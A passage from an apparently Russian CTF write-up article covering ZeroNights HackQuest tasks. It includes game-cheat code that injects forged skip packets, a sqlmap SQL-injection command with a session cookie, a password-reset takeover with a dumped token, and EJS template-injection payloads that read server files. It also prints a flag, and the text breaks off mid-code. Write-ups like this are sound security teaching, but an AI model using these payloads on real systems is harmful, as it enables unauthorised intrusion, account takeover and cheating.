\u043a\u043b\u0438\u0435\u043d\u0442 \u0443\u0436\u0435 \u0441\u043e\u0431\u0440\u0430\u043b N \u0437\u0430 \u043d\u0430\u0441 - \u0438\u043d\u0436\u0435\u043a\u0442\u0438\u0442\u044c \u0431\u0443\u0434\u0435\u043c \u0442\u0443\u0434\u0430(\u043d\u0443 \u0438 \u0447\u0442\u043e \u0438\u043d\u0436\u0435\u043a\u0442 \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445)        if skipBeforeN then            begin            injected:= ','; \/\/ \u0441\u0438\u043c\u0432\u043e\u043b \u0441\u043a\u0438\u043f\u0430            SDLNet_Write16(GameTicks, @injected[2]); \/\/ \u0442\u0438\u043a - \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 \u0441\u043a\u0438\u043f\u0430            injected[0]:= #3; \/\/ \u0440\u0430\u0437\u043c\u0435\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043a\u0438\u043f\u0430            if sendBuffer.count + byte(injected[0]) &gt;= cSendBufferSize then                flushBuffer();            Move(injected, sendBuffer.buf[sendBuffer.count], byte(injected[0]) + 1); \/\/ \u0432\u0441\u0442\u0430\u0432\u043a\u0430 \u0441\u0438\u043c\u0432\u043e\u043b\u0430 \u0441\u043a\u0438\u043f\u0430            inc(sendBuffer.count, byte(injected[0]) + 1); \/\/ \u0438 \u043f\u043e\u0434\u0433\u043e\u043d \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0438\u0442\u043e\u0433\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430            ParseCommand(_S'skip', true, true); \/\/ \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0441 \u0447\u0438\u0442\u043e\u043c \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u043a\u0430\u043a \u0431\u0443\u0434\u0442\u043e \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u0438\u043a \u0441\u043a\u0438\u043f\u043d\u0443\u043b \u0445\u043e\u0434 - \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0431\u044b\u043b\u043e \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0430            end;        if sendBuffer.count + byte(s[0]) &gt;= cSendBufferSize then            flushBuffer();<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u043f\u043e\u0434\u0433\u043e\u043d\u043a\u0438 \u0438 \u0434\u0435\u0431\u0430\u0433\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0447\u0438\u0442 \u043a\u043b\u0438\u0435\u043d\u0442. \u0418 \u043e \u0447\u0443\u0434\u043e &#8212; \u043e\u043d\u043e \u0436\u0438\u0432\u043e\u0435! \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u0438\u043a\u0430 \u0441\u043a\u0438\u043f\u0430\u0442\u044c \u0445\u043e\u0434\u044b \u0432\u0441\u0435\u0433\u0434\u0430 \u0438 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0432\u044b\u0438\u0433\u0440\u044b\u0432\u0430\u0442\u044c.  <a href=\"https:\/\/youtu.be\/VKopH5QSBDg\">https:\/\/youtu.be\/VKopH5QSBDg<\/a> &#8212; \u0432\u043e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440 \u0432\u044b\u0438\u0433\u0440\u0430\u043d\u043d\u043e\u0439 \u0438\u0433\u0440\u044b \u0441 \u0447\u0438\u0442\u043e\u043c. \u041f\u0440\u043e\u043c\u0430\u0445\u0438\u0432\u0430\u0435\u043c\u0441\u044f \u0441\u043d\u0430\u0440\u044f\u0434\u043e\u043c \u043f\u043e\u043a\u0430 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u0438\u043a \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0430\u0432\u0438\u0430\u0443\u0434\u0430\u0440. \u0418\u043c \u0438 \u0434\u043e\u0431\u0438\u0432\u0430\u0435\u043c \u0432\u0440\u0430\u0433\u0430. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043d\u0430\u0431\u0438\u0432\u0430\u0435\u043c 7 \u043f\u043e\u0431\u0435\u0434 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u0444\u043b\u0430\u0433.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/a1\/d5\/14\/a1d514d50963056597dd4d7380d3de1d.jpg\" alt=\"\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0444\u043b\u0430\u0433\" title=\"\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0444\u043b\u0430\u0433\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/a1\/d5\/14\/a1d514d50963056597dd4d7380d3de1d.jpg 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/a1\/d5\/14\/a1d514d50963056597dd4d7380d3de1d.jpg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0444\u043b\u0430\u0433<\/figcaption><\/div>\n<\/figure>\n<p><code>zn{y0u_g0t_0v3r_7he_h3dge_4nd_land3d_at_z3r0n16h75}<\/code><\/p>\n<p>\u0414\u0443\u043c\u0430\u044e, \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0447\u0438\u0442\u0430\u0442\u0435\u043b\u044c \u0437\u0430\u043c\u0435\u0442\u0438\u043b, \u0447\u0442\u043e \u0432 \u0442\u0430\u0441\u043a\u0435 \u0432\u0441\u0451 \u043a\u0440\u0438\u0447\u0430\u043b\u043e, \u0447\u0442\u043e \u043d\u0430\u0434\u043e \u043d\u0435 \u0438\u0441\u043a\u0430\u0442\u044c 0day \u0432 \u043d\u0435\u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0438\u0433\u0440\u0435, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0434\u0430 \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0432 \u043a\u043e\u043c\u043d\u0430\u0442\u0443 \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u0432 \u044f\u0449\u0438\u043a\u0435 \u043d\u0435 \u043f\u043e\u044f\u0432\u0438\u0442\u0441\u044f \u043a\u0440\u0443\u0442\u043e\u0439 \u0434\u0440\u043e\u043f. \u041d\u043e \u044f \u0440\u0435\u0448\u0438\u043b \u043f\u043e \u0434\u0440\u0443\u0433\u043e\u043c\u0443 &#8212; \u0432 \u043c\u043e\u043c\u0435\u043d\u0442\u0435 \u0441\u0442\u0430\u043b\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c, \u043f\u043e\u0442\u043e\u043c \u0443\u0436\u0435 \u0445\u043e\u0442\u0435\u043b\u043e\u0441\u044c \u0434\u043e\u0432\u0435\u0441\u0442\u0438 \u0434\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f.<\/p>\n<p><strong>P. S.<\/strong> \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0447\u0438\u0442 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b \u0434\u0430\u0436\u0435 \u0432 \u043e\u043d\u043b\u0430\u0439\u043d\u0435 &#8212; \u0437\u0430\u0448\u0435\u043b \u043e\u0434\u0438\u043d \u0440\u0430\u0437 \u0434\u043b\u044f \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438, \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043e\u0431\u0432\u0438\u043d\u0435\u043d\u0438\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u044f \u0437\u043b\u043e\u0439 \u0447\u0438\u0442\u0435\u0440:) (\u043d\u0435 \u0447\u0438\u0442\u0435\u0440\u0438\u0442\u0435, \u0434\u0440\u0443\u0437\u044c\u044f)<\/p>\n<h2>Day #4 \/ Bannerboard<\/h2>\n<h3>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/h3>\n<p>This is an internal platform for booking banner placements under partnership agreements. It\u2019s still a work in progress, but there\u2019s already enough functionality to get developers fired.<\/p>\n<p><a href=\"http:\/\/80.249.144.251:3000\/\">Take a look<\/a><\/p>\n<p>This task was prepared by <a href=\"https:\/\/dsec.ru\/\">DSEC by Solar<\/a><\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/fb\/24\/47\/fb24478a2fa52d2497fa0b8aef80a7f3.png\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/fb\/24\/47\/fb24478a2fa52d2497fa0b8aef80a7f3.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/fb\/24\/47\/fb24478a2fa52d2497fa0b8aef80a7f3.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/b9\/48\/b3\/b948b3de9b1938b45062ffec39b8cfa5.png\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/b9\/48\/b3\/b948b3de9b1938b45062ffec39b8cfa5.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/b9\/48\/b3\/b948b3de9b1938b45062ffec39b8cfa5.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/b1\/6a\/2a\/b16a2a6c292b48f12113a2426325edd7.png\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/b1\/6a\/2a\/b16a2a6c292b48f12113a2426325edd7.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/b1\/6a\/2a\/b16a2a6c292b48f12113a2426325edd7.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<h3>\u0420\u0430\u0439\u0442\u0430\u043f \u043e\u0442 vos<\/h3>\n<ol>\n<li>\n<p>\u0420\u0435\u0433\u0430\u0435\u043c\u0441\u044f, \u0432 <code>\/api\/users\/me<\/code> \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0438\u0437 \u0438\u043c\u0435\u043d\u0438 \u0438 \u0444\u0430\u043c\u0438\u043b\u0438\u0438 \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f username \u0432\u0438\u0434\u0430 \u201cf.lastname\u201d. \u0422\u0430\u043c \u0436\u0435 \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u0432\u043c\u0435\u0441\u0442\u043e <code>me<\/code> \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u044e\u0437\u0435\u0440\u043d\u0435\u0439\u043c \u2014 \u043f\u043e\u043a\u0430\u0436\u0435\u0442 \u0438\u043d\u0444\u0443 \u043f\u043e \u043d\u0435\u043c\u0443.<\/p>\n<\/li>\n<li>\n<p>\u0412 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439 \u0435\u0441\u0442\u044c \u042e\u0440\u0438\u0439 \u041c\u0430\u043a\u0441\u0438\u043c\u043e\u0432 \u0438 \u0412\u043b\u0430\u0434\u0438\u043c\u0438\u0440 \u041d\u0438\u043a\u0438\u0442\u0438\u043d \u2192 \u0430\u0439\u0434\u043e\u0440\u0438\u043c <code>y.maksimov<\/code> (y.maksimov@bannermedia.local, role admin) \u0438 <code>v.nikitin<\/code> (v.nikitin@bannermedia.local, role user)<\/p>\n<\/li>\n<li>\n<p>\u0412 \u041b\u041a \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0434\u0451\u0440\u0433\u0430\u044e\u0442 <code>\/api\/news?topic=all&amp;limit=10<\/code> \u2014 \u0432 \u043b\u0438\u043c\u0438\u0442\u0435 SQLi \u0441 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0431\u0435\u043b\u0430\u043c\u0438 (\u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0439 \u2014 second order sqli \u0433\u0434\u0435 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0435\u043b\u0435\u043a\u0442\u0430\u0435\u0442\u0441\u044f \u0447\u0438\u0441\u043b\u043e, \u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 LIMIT)<\/p>\n<\/li>\n<li>\n<p>\u041f\u044b\u0432\u043d\u0430\u043d\u0443\u0442\u044c: <code>sqlmap -u 'http:\/\/80.249.144.251:3000\/api\/news?topic=all&amp;limit=5*' --tamper=space2comment --cookie 'connect.sid=s%3AANhs9224-pO_VzsyJfyVtX_p2GRlEEVl.UV86Y7h6Thz9zav05%2BSprYmNEhZNDwKGujL7vbsBFIQ'<\/code> \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0442\u0430\u0431\u043b\u0438\u0447\u043a\u0430 resetTokens, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0442\u043e\u043a\u0435\u043d <code>b0a7f3d19c4e8a62<\/code> \u0434\u043b\u044f uid 2<\/p>\n<\/li>\n<li>\n<p>\u0412 auth.js \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u044f \u0432\u0438\u0434\u043d\u043e \u0444\u043e\u0440\u043c\u0430\u0442 \u0443\u0440\u043b\u0430 \u0441 \u0442\u043e\u043a\u0435\u043d\u043e\u043c, <a href=\"http:\/\/80.249.144.251:3000\/forgot?magictoken=b0a7f3d19c4e8a62&amp;email=v.nikitin@bannermedia.local\">http:\/\/80.249.144.251:3000\/forgot?magictoken=b0a7f3d19c4e8a62&amp;email=v.nikitin@bannermedia.local<\/a> \u2014 \u0437\u0430\u0434\u0430\u0451\u043c \u043f\u0430\u0440\u043e\u043b\u044c \u041d\u0438\u043a\u0438\u0442\u0438\u043d\u0443, \u0442\u0435\u043f\u0435\u0440\u044c \u0432 \u041b\u041a \u0435\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0431\u0430\u043d\u043d\u0435\u0440\u0430\u043c\u0438<\/p>\n<\/li>\n<li>\n<p>\u041d\u0430 \u043b\u044e\u0431\u043e\u0439 ID \u0431\u0430\u043d\u043d\u0435\u0440\u0430 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u201cunknown banner slot\u201d, \u043d\u043e \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u043f\u0440\u043e\u043a\u0430\u043d\u044b\u0432\u0430\u0435\u0442 <code>__proto__<\/code>, \u0432\u0438\u0434\u0438\u043c\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u043e\u0431\u044a\u0435\u043a\u0442\u0435\/\u043c\u0430\u0441\u0441\u0438\u0432\u0435<\/p>\n<\/li>\n<li>\n<p>\u0412 \u043f\u0440\u0435\u0432\u044c\u044e\u0445\u0430\u043b\u043a\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0442\u0435\u043c\u043f\u043b\u0435\u0439\u0442\u044b \u0432\u0438\u0434\u0430 <code>&lt;%= 7*7 %&gt;<\/code> (\u0430-\u043b\u044f EJS), \u0432\u044b\u0437\u043e\u0432\u043e\u043c include() \u043c\u043e\u0436\u043d\u043e \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b<\/p>\n<\/li>\n<li>\n<p><code>&lt;%= include(\"package.json\") %&gt;<\/code> \u2192 \u0432\u0438\u0434\u043d\u044b \u043f\u0443\u0442\u0438 \u0434\u043e src\/server.js<br \/> <code>&lt;%= include(\"src\/server.js\") %&gt;<\/code> \u2192 \u0432\u0438\u0434\u043d\u043e require(\u201c.\/flag\u201d)<br \/> <code>&lt;%= include(\"src\/flag.js\") %&gt;<\/code> \u2192 \u0444\u043b\u0430\u0436\u043e\u043a<\/p>\n<\/li>\n<\/ol>\n<h2>Day #5 \/ Traces<\/h2>\n<h3>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/h3>\n<p>Hexline is a modern lightweight article publication platform.<\/p>\n<p>I heard that it leaves some strange traces.<\/p>\n<p><a href=\"https:\/\/hackquest.zeronights.ru\/downloads\/zn26-day5-traces-JIThUsTQQBGK.zip\">traces.zip<\/a><\/p>\n<p>This task was prepared by <a href=\"https:\/\/volgactf.ru\/\">VolgaCTF<\/a><\/p>\n<h3>\u0420\u0430\u0439\u0442\u0430\u043f \u043e\u0442 mixinspace<\/h3>\n<p>forensics \/ crypto \/ reverse<\/p>\n<blockquote>\n<p>Hexline is a modern lightweight article publication platform.<br \/> I heard that it leaves some strange traces.<\/p>\n<p>\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 <\/p>\n<\/blockquote>\n<p>\u041d\u0430\u043c \u0434\u0430\u043d\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b\u044b:<\/p>\n<pre><code>README.mdcompose.ymlimages.tartraffic.pcapng<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0410\u0440\u0445\u0438\u0432 <code>images.tar<\/code> \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043e\u0431\u0440\u0430\u0437\u044b <code>zn-2026-traces-web:latest<\/code> \u0438 <code>zn-2026-traces-db:latest<\/code>.<\/p>\n<p><code>traffic.pcapng<\/code> &#8212; \u0434\u0430\u043c\u043f \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u0432 \u043d\u0435\u043c 16 TCP\/TLS-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439 \u043a <code>172.28.0.20:443<\/code>. \u0412\u0441\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u044b \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 <code>TLS_AES_256_GCM_SHA384<\/code>.<\/p>\n<p>\u0421\u0440\u0430\u0437\u0443 \u0437\u0430\u043c\u0435\u0442\u0438\u043b, \u0447\u0442\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0438\u043c\u0435\u044e\u0442 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u0433\u0440\u0443\u043f\u043f\u0443, \u0441 key_share 44 \u0431\u0430\u0439\u0442\u0430. <\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/ac\/2a\/3d\/ac2a3d65a5cd2fe4750c83b0a0b7ce28.png\" alt=\"key share\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/ac\/2a\/3d\/ac2a3d65a5cd2fe4750c83b0a0b7ce28.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/ac\/2a\/3d\/ac2a3d65a5cd2fe4750c83b0a0b7ce28.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>key share<\/figcaption><\/div>\n<\/figure>\n<p>\u0412 web-\u043e\u0431\u0440\u0430\u0437\u0435 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0442\u0440\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430:<\/p>\n<pre><code>\/usr\/lib\/x86_64-linux-gnu\/ossl-modules\/traces.so\/etc\/traces\/openssl.cnf\/usr\/local\/bin\/traces-client<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p><code>openssl.cnf<\/code> \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442 provider <code>traces<\/code>, \u0430 \u043a\u043b\u0438\u0435\u043d\u0442 \u044f\u0432\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442:<\/p>\n<pre><code>curl --tlsv1.3 --tls-max 1.3 --curves traces --http1.1 ...<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0412 <code>nginx.conf<\/code> \u0442\u0430\u043a\u0436\u0435 \u0443\u043a\u0430\u0437\u0430\u043d\u043e:<\/p>\n<pre><code>ssl_protocols \u00a0TLSv1.3;ssl_ecdh_curve traces:X25519:secp256r1:secp384r1;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0411\u0443\u0434\u0435\u043c \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 traces. \u0421 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043e\u0442 \u043d\u0435\u0439\u0440\u043e\u043d\u043a\u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b:<\/p>\n<pre><code>p \u00a0 \u00a0 = 0x036481ef080c145eb640f937b052e7bf1d13bbdbbe55tr_g1 = 0x01346da6b3f76a70512ac04fc79f6145310651c454f6tr_g2 = 0x026de1ef8e20e9eba0bd96a4fa22dc328f87f0c82452<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0410 \u0442\u0430\u043a\u0436\u0435 \u043e\u043d\u0430 \u043f\u043e\u044f\u0441\u043d\u0438\u043b\u0430, \u0447\u0442\u043e \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 traces:<\/p>\n<blockquote>\n<p>traces.so &#8212; \u044d\u0442\u043e XTR \u043d\u0430\u0434 \u0446\u0438\u043a\u043b\u043e\u0442\u043e\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u043e\u0439 <code>GF(p^6)*<\/code>. \u041f\u043e \u0441\u0435\u0442\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u043d\u0435 \u0441\u0430\u043c \u044d\u043b\u0435\u043c\u0435\u043d\u0442 <code>h<\/code>, \u0430 \u0435\u0433\u043e trace \u0432 \u043f\u043e\u0434\u043f\u043e\u043b\u0435 <code>GF(p^2)<\/code><\/p>\n<\/blockquote>\n<p>\u0420\u0430\u0437\u0431\u0435\u0440\u0435\u043c\u0441\u044f.<\/p>\n<h4>\u041b\u0438\u043a\u0431\u0435\u0437<\/h4>\n<p>\u0413\u0440\u0443\u043f\u043f\u0430 (G) &#8212; \u044d\u0442\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f:<\/p>\n<ol>\n<li>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441\u043d\u043e\u0432\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435<\/p>\n<\/li>\n<li>\n<p>\u0415\u0441\u0442\u044c \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442<\/p>\n<\/li>\n<li>\n<p>\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 \u0435\u0441\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439<\/p>\n<\/li>\n<li>\n<p>\u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f (a*b)*c = a*(b*c)<\/p>\n<\/li>\n<\/ol>\n<p>\u0426\u0438\u043a\u043b\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430 &#8212; \u044d\u0442\u043e \u0442\u0430\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 g, \u0441\u0442\u0435\u043f\u0435\u043d\u044f\u043c\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u0435 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b \u0433\u0440\u0443\u043f\u043f\u044b. \u042d\u0442\u043e\u0442 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u043c.<\/p>\n<p>\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0443\u043c\u043d\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u044b\u0445 \u0447\u0438\u0441\u0435\u043b % 7:<\/p>\n<pre><code>G = {1, 2, 3, 4, 5, 6}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button 